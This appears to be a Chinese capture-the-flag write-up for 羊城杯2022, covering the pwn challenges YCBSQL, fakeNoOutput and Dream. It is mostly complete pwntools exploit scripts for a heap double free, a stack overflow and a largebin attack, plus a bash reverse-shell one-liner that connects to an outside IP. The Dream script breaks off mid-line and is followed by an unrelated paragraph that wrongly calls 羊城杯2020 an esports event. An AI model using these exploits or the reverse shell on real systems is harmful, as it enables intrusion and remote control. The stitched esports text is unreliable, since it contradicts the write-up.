羊城杯2022--Writeup

                                                                              -------TWe1v3、1amfree、scr1pt_k1ddi3


这个比赛太累了可,凌晨三点碰着枕头就睡着了,不过收获也蛮多的,这次题目很友好,不像wmCTF一样坐大牢。感谢两位大哥的实力带飞,太菜了我。全靠躺。

 

 

目录

Pwn

YCBSQL

fakeNoOutput

Dream

Web

rce_me

step_by_step-v3

Safepop

Crypto

EasyRsa

LRSA

Misc

签到

where_is_secret

迷失幻境

躲猫猫

Re

BBBButton

easyjs


Pwn

YCBSQL

这个应该是有了非预期,可以直接调用shell,我们直接反弹就行。

 

Payload:

.system bash -c "bash -i  >&/dev/tcp/101.43.255.238/7777 0>&1"

 

这个题目的漏洞就是在unlink的时候如果是unlink的头指针,那么后面的指针没有清空,就会是这样:

 

然后在free函数的时候,如果offset是0xff,那么后面的指针就都能释放掉,因此就会产生double free。

 

所以实际上就是一个double free的利用。这里我一开始是用的9.7的libc,之后直接改成9.2的就行。

from pwn import *
# r=process("/home/ubuntu/pwn/比赛/羊城杯/pwn/pwn")
r=remote("tcp.dasc.buuoj.cn",23916)
elf=ELF("/home/ubuntu/pwn/比赛/羊城杯/pwn/pwn")
# libc=ELF("/home/ubuntu/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc.so.6")
libc=ELF("/home/ubuntu/pwn/比赛/羊城杯/pwn/libc.so.6")
context(arch="amd64",os="linux",log_level="debug")
context.terminal = ['gnome-terminal','-x','sh','-c']

def meau(index):
    r.sendlineafter("Your choice:",str(index))

def add(size,content):
    meau(1)
    r.sendlineafter("Size:",str(size))
    r.sendafter("Content:",content)

def delete(index,offset):
    meau(2)
    r.sendlineafter("Index",str(index))
    r.sendlineafter("Input offset:",str(offset))

def link(id1,id2):
    meau(3)
    r.sendlineafter("link from:",str(id1))
    r.sendlineafter("link to:",str(id2))

def unlink(index,offset):
    meau(4)
    r.sendlineafter("Index:",str(index))
    r.sendlineafter("Input offset:",str(offset))

add(8,'a'*8)
add(8,'b'*8)
add(8,'c'*8)
add(8,'d'*8)

for i in range(8):
    add(0x70,p64(0)+p64(0X451))

link(0,1)
unlink(0,0)

delete(1,0xff)
add(8,'z'*8)
link(0,1)

meau(4)
r.sendlineafter("Index:",str(0))
r.recvuntil("Offset 1:")
heap_base=u64(r.recvuntil("\n")[:-1].ljust(8,b'\x00')) - 0x2e0
success("heap_base = "+hex(heap_base))
r.sendlineafter("Input offset:",str(1))

link(2,3)
unlink(2,0)
delete(3,0xff)

payload=p64(0)+p64(0x450)+p64(heap_base+0x3b0)
add(0x18,payload)

delete(2,0)

add(8,'/bin/sh\x00')
add(8,'z'*8)
add(0x60,"z"*8)

payload=p64(0)+p64(8)+p64(heap_base+0x460)
add(0x18,payload)

link(0,4)

meau(4)
r.sendlineafter("Index:",str(0))
libc_base=u64(r.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00")) - 0x10 -96 - libc.symbols['__malloc_hook']
success("libc_base = "+hex(libc_base))
r.sendlineafter("Input offset:",str(1))

system_addr=libc.symbols['system']+libc_base
free_hook=libc_base+libc.symbols['__free_hook']

delete(7,0)
delete(6,0)
delete(1,0)

payload=p64(free_hook)*3
add(0x60,payload)

add(0x60,payload)

add(0x70,p64(system_addr))
add(0x70,p64(system_addr))
delete(3,0)

r.interactive()

fakeNoOutput

这道题目就有点难受,首先是一堆的逆向操作。但是实际上就是一个栈溢出,并且溢出了非常多的字节。但是想要让程序执行到溢出点还是有点的困难。首先我们发现溢出点在upload里面的strcpy(s, haystack);这个部分,然后我们只需要让函数调用upload就可以溢出。但是首先要通过sub_804976F这个函数里面的验证,经过逆向调试发现,就是一个伪随机数,我们直接输入就行。然后溢出的自己大小和Content-Length有较大的关系,因此我们要设置Content-Length的大小来控制溢出的长度。之后由于函数限制的原因,无法ret2libc,因此我们经过精心构造,返回到http_puts函数,然后就能够泄露出got表里的内容,之后再返回主函数再溢出一次就行,就能够拿到shell。让人十分不解的是不知道为什么第二个端口一直打不通,泄露不出来东西,第一个端口多跑两次就能够打通远端。

 

from os import execve
from pwn import *
# r=process("/home/ubuntu/pwn/比赛/羊城杯/fakeNoOutput/fakeNoOutput")
r=remote("tcp.dasc.buuoj.cn",20432)
elf=ELF("/home/ubuntu/pwn/比赛/羊城杯/fakeNoOutput/fakeNoOutput")
libc=ELF("/home/ubuntu/pwn/比赛/羊城杯/fakeNoOutput/libc.so.6")

context(arch="i386",os="linux",log_level="debug")
context.terminal = ['gnome-terminal','-x','sh','-c']

payload="POST /upload /  "
r.sendline(payload)

payload2="Content-Length:0x4022\t"
r.sendline(payload2)
payload3="HTTP_SERVER1_token:wR5qH796Ky8D03r2W7syLB7406e30xP7\t"
r.sendline(payload3)
r.send("\n")

payload='Content:zzzzfilename=zzzz'
r.sendline(payload)

strlen_got=elf.got['strlen']
strstr_plt=elf.plt['strstr']
# payload=(p32(0x804D1a0)+p32(0x8049F77)+p32(0x804D010)).rjust(0x1040,b'a')+p32(0x804D1A0+0x103c-8)+p32(0x80496A8)
payload=b'b'*0x1040+p32(0x804D1A0+0x4000-4)+p32(0x80496A8)
payload=payload.ljust(0x4000,b'a')+p32(0x8049F77)+p32(0x804D010)
r.send(payload)

libc_base=u32(r.recvuntil(b"\xf7")[-4:].ljust(4,b"\x00")) - libc.symbols['strstr']
success("libc_base = "+hex(libc_base))

system_addr = libc_base+libc.symbols['system']
bin_sh=libc_base+libc.search(b'/bin/sh').__next__()
execve_addr=libc_base+libc.symbols['execve']

gadget1=0xcc9ab
gadget2=0x145f43
gadget3=0x145f44
one_gadget=libc_base+gadget1

payload="POST /upload /  "
r.sendline(payload)

payload2="Content-Length:0xece\t"
r.sendline(payload2)
payload3="HTTP_SERVER1_token:5lnPP74OkC4N9U8smBU812Smk1XxvRBJ\t"
r.sendline(payload3)
r.send("\n")

payload='Content:zzzzfilename=zzzz'
r.sendline(payload)

payload=b'c'*0xe9c+p32(execve_addr)+p32(0)+p32(bin_sh)+p32(0)*2
r.send(payload)

r.interactive()

Dream

说是dream,实际上就是一个largebin attack,然后UAF漏洞,函数功能还都比较齐全。主要是开启了沙箱不能拿到shell,并且show函数里面有一个加密的过程,想要泄露数据必须要完成逆向,之后我们直接利用qwb里面house of cat的做法,一次largebin attack攻击malloc assert即可实现orw读取flag并泄露。

 

from pwn import *
# r=process("/home/ubuntu/pwn/比赛/羊城杯/dream/dream")
r=remote("tcp.dasc.buuoj.cn",26422)
elf=ELF("/home/ubuntu/pwn/比赛/羊城杯/dream/dream")
libc=ELF("/home/ubuntu/glibc-all-in-one/libs/2.32-0ubuntu3_amd64/libc.so.6")

context(arch="amd64",os="linux",log_level="debug")
context.terminal = ['gnome-terminal','-x','sh','-c']

def meau(index):
    r.sendlineafter("choice: ",str(index))

def add(index,size,content):
    meau(1)
    r.sendlineafter("Give me a dream ID: ",str(index))
    r.sendlineafter("how long: ",str(size))
    r.sendafter("dream: ",content)

def delete(index):
    meau(2)
    r.sendlineafter("Which dream to wake?",str(index))

    
def show(index):
    meau(4)
    r.sendlineafter("Which dream do you want to show?",str(index))

def edit(index,content):
    meau(3)
    r.sendlineafter("Which dream to make?",str(index))
    r.sendafter("dream: ",content)

def de(payload,len):
   key = [9,5,2,7]
   v9 = 52 // len + 6
   delta = 0
   delta -= v9 * 0x61C88647
   delta &= 0xffffffff
   bk = payload[0]

   while(v9):

      for i in range(1,len)[::-1]:
         fd = payload[i - 1]
         payload[i] -= (((8 * bk) ^ (fd >> 7)) + ((bk >> 3) ^ (16 * fd))) ^ ((bk ^ delta) + (fd ^ key[((delta >> 2) & 3) ^ i & 3]))
         payload[i] &= 0xffffffff
         bk = payload[i]
      i -= 1
      fd = payload[len - 1]
      payload[0] -= (((8 * bk) ^ (fd >> 7)) + ((bk >> 3) ^ (16 * fd))) ^ ((bk ^ delta) + (fd ^ key[((delta >> 2) & 3) ^ i & 3]))
      payload[0] &= 0xffffffff
      bk = payload[0]

      delta += 0x61C88647
      delta &= 0xffffffff

      v9-=1
   return payload

add(0,0x420,'a')
add(1,0x400,'b')
add(2,0x410,"c")
delete(0)
delete(1)
show(0)

payloads=[]

for i in range(0x420//4):
    payloads.append(int.from_bytes(r.recv(4), "little"))

payloads=de(payloads,0x420//4)
main_arena=(payloads[0]+(payloads[1]<<32)) - 96
lib
  • 7
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
羊城杯2020是一场年度的电子竞技赛事,为广大电竞爱好者提供了一个展示技术和激发激情的舞台。今年的羊城杯聚集了来自全国各地的顶尖电竞选手,他们在各个游戏项目中展现了高水平的操作和战术。 在比赛的文化氛围方面,羊城杯2020鼓励团队协作和竞争精神,这对于参赛选手来说是一个很好的机会展现自己的技术能力和团队合作能力。此外,组委会还积极倡导公平竞赛,严禁使用任何形式的作弊或不正当手段来获取胜利,从而保证了比赛的公正性。 羊城杯2020不仅是一场竞技比赛,还提供了丰厚的奖金和荣誉,吸引了众多顶尖选手参与其中。参赛选手们通过紧张刺激的比赛,展现了他们的技术实力和战术策略。同时,比赛也为电竞爱好者们提供了一个观赏比赛和学习经验的机会,让他们更好地了解电竞运动,提高自己的技术水平。 此外,羊城杯2020还注重了普及电竞文化的意义。比赛在各个媒体平台上进行直播,使更多的观众能够通过网络或电视观看比赛,增加了电竞的曝光度。通过各种推广活动,羊城杯2020吸引了更多非电竞爱好者的关注,提高了电竞在社会中的认可度和影响力。 总的来说,羊城杯2020是一场令人期待的电竞盛事,它不仅展示了顶尖选手们的实力和技巧,也推广了电竞文化并吸引了更多人的关注。这样的比赛将继续推动电竞行业的发展和壮大,为电竞爱好者们带来更多的精彩赛事和娱乐体验。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值